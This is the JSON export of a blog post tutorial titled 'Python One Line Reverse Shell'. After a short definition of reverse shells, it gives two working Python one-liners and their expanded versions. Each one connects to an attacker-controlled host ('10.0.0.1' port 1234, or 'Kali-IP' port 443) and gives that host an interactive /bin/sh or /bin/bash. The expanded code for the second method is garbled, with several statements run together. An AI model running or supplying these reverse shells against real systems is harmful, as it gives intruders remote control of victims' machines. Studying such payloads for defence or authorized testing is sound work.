{"id":116024,"date":"2020-07-30T06:14:59","date_gmt":"2020-07-30T06:14:59","guid":{"rendered":"https:\/\/blog.finxter.com\/?p=11536"},"modified":"2020-07-30T06:14:59","modified_gmt":"2020-07-30T06:14:59","slug":"python-one-line-reverse-shell","status":"publish","type":"post","link":"https:\/\/sickgaming.net\/blog\/2020\/07\/30\/python-one-line-reverse-shell\/","title":{"rendered":"Python One Line Reverse Shell"},"content":{"rendered":"<p>This article will be fun! You&#8217;ll learn about an important concept in security: reverse shells. You&#8217;ll also learn how to create reverse shells in Python in a single line of code. So, let&#8217;s start with the big question:<\/p>\n<h2>What is a Reverse Shell?<\/h2>\n<p>Here&#8217;s the definition of a Reverse Shell:<\/p>\n<p class=\"has-pale-cyan-blue-background-color has-background\">A <strong>reverse shell<\/strong> is used by hackers to gain access to a target machine. The target machine opens a shell to communicate to the attacking machine. The attacking machine receives the connection (listening on a given port) and is now able to access the target computer. To accomplish a reverse shell, a hacker must execute code on a target machine. Reverse shells are also used by security engineers to test and prevent reverse shell attacks.<\/p>\n<p>You can read more <a href=\"https:\/\/resources.infosecinstitute.com\/icmp-reverse-shell\/#gref\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/resources.infosecinstitute.com\/icmp-reverse-shell\/#gref\">here<\/a>. In this tutorial, you&#8217;ll learn how to create a reverse shell in one line Python.<\/p>\n<h2>Method 1<\/h2>\n<p>I found this code in a <a href=\"http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet\">blog <\/a>thread. You can run it from any computer with Python installed and visible from your current location:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"\/bin\/sh\",\"-i\"]);'<\/pre>\n<p>But you should never execute code that&#8217;s copy&amp;pasted from an Internet source. What if the code removes all files from your computer?<\/p>\n<p>Let&#8217;s have a look at how this code looks like as a Python multi-liner so that you can understand it better:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import socket,subprocess,os\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect((\"10.0.0.1\",1234))\nos.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\np=subprocess.call([\"\/bin\/sh\",\"-i\"])\n<\/pre>\n<p>As you see, the code opens a socket (which is an entry point for a connection), <a href=\"https:\/\/www.tutorialspoint.com\/python\/os_dup2.htm\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/www.tutorialspoint.com\/python\/os_dup2.htm\">duplicates file descriptors<\/a>, and calling a <a href=\"http:\/\/etutorials.org\/Linux+systems\/how+linux+works\/Chapter+1+The+Basics\/1.1+About+bin+sh\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"http:\/\/etutorials.org\/Linux+systems\/how+linux+works\/Chapter+1+The+Basics\/1.1+About+bin+sh\/\">Linux shell<\/a>. Thus, it will only run on Linux-based systems.<\/p>\n<h2>Method 2<\/h2>\n<p>In <a href=\"https:\/\/gist.github.com\/lucasgates\/0c6330c582d0ccf52fad129d5e7e9de7\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/gist.github.com\/lucasgates\/0c6330c582d0ccf52fad129d5e7e9de7\">this<\/a> Github thread, I found another one-liner that opens a reverse shell:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"Kali-IP\",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"\/bin\/bash\")'<\/pre>\n<p>When writing the equivalent multi-liner, the code looks more understandable:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import pty\nimport socket,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((\"Kali-IP\",443))\nos.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\npty.spawn(\"\/bin\/bash\")\n<\/pre>\n<p>It&#8217;s very similar to the above code but uses the <code>pty<\/code> library to create the shell. <\/p>\n<h2>Where to Go From Here?<\/h2>\n<p>Enough theory, let\u2019s get some practice!<\/p>\n<p>To become successful in coding, you need to get out there and solve real problems for real people. That\u2019s how you can become a six-figure earner easily. And that\u2019s how you polish the skills you really need in practice. After all, what\u2019s the use of learning theory that nobody ever needs?<\/p>\n<p><strong>Practice projects is how you sharpen your saw in coding!<\/strong><\/p>\n<p>Do you want to become a code master by focusing on practical code projects that actually earn you money and solve problems for people?<\/p>\n<p>Then become a Python freelance developer! It\u2019s the best way of approaching the task of improving your Python skills\u2014even if you are a complete beginner.<\/p>\n<p>Join my free webinar <a rel=\"noreferrer noopener\" href=\"https:\/\/blog.finxter.com\/webinar-freelancer\/\" target=\"_blank\">\u201cHow to Build Your High-Income Skill Python\u201d<\/a> and watch how I grew my coding business online and how you can, too\u2014from the comfort of your own home.<\/p>\n<p><a href=\"https:\/\/blog.finxter.com\/webinar-freelancer\/\" target=\"_blank\" rel=\"noreferrer noopener\">Join the free webinar now!<\/a><\/p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This article will be fun! You&#8217;ll learn about an important concept in security: reverse shells. You&#8217;ll also learn how to create reverse shells in Python in a single line of code. So, let&#8217;s start with the big question: What is a Reverse Shell? Here&#8217;s the definition of a Reverse Shell: A reverse shell is used [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[857],"tags":[73,468,528],"class_list":["post-116024","post","type-post","status-publish","format-standard","hentry","category-python-tut","tag-programming","tag-python","tag-tutorial"],"_links":{"self":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/posts\/116024","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/comments?post=116024"}],"version-history":[{"count":0,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/posts\/116024\/revisions"}],"wp:attachment":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/media?parent=116024"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/categories?post=116024"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/tags?post=116024"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}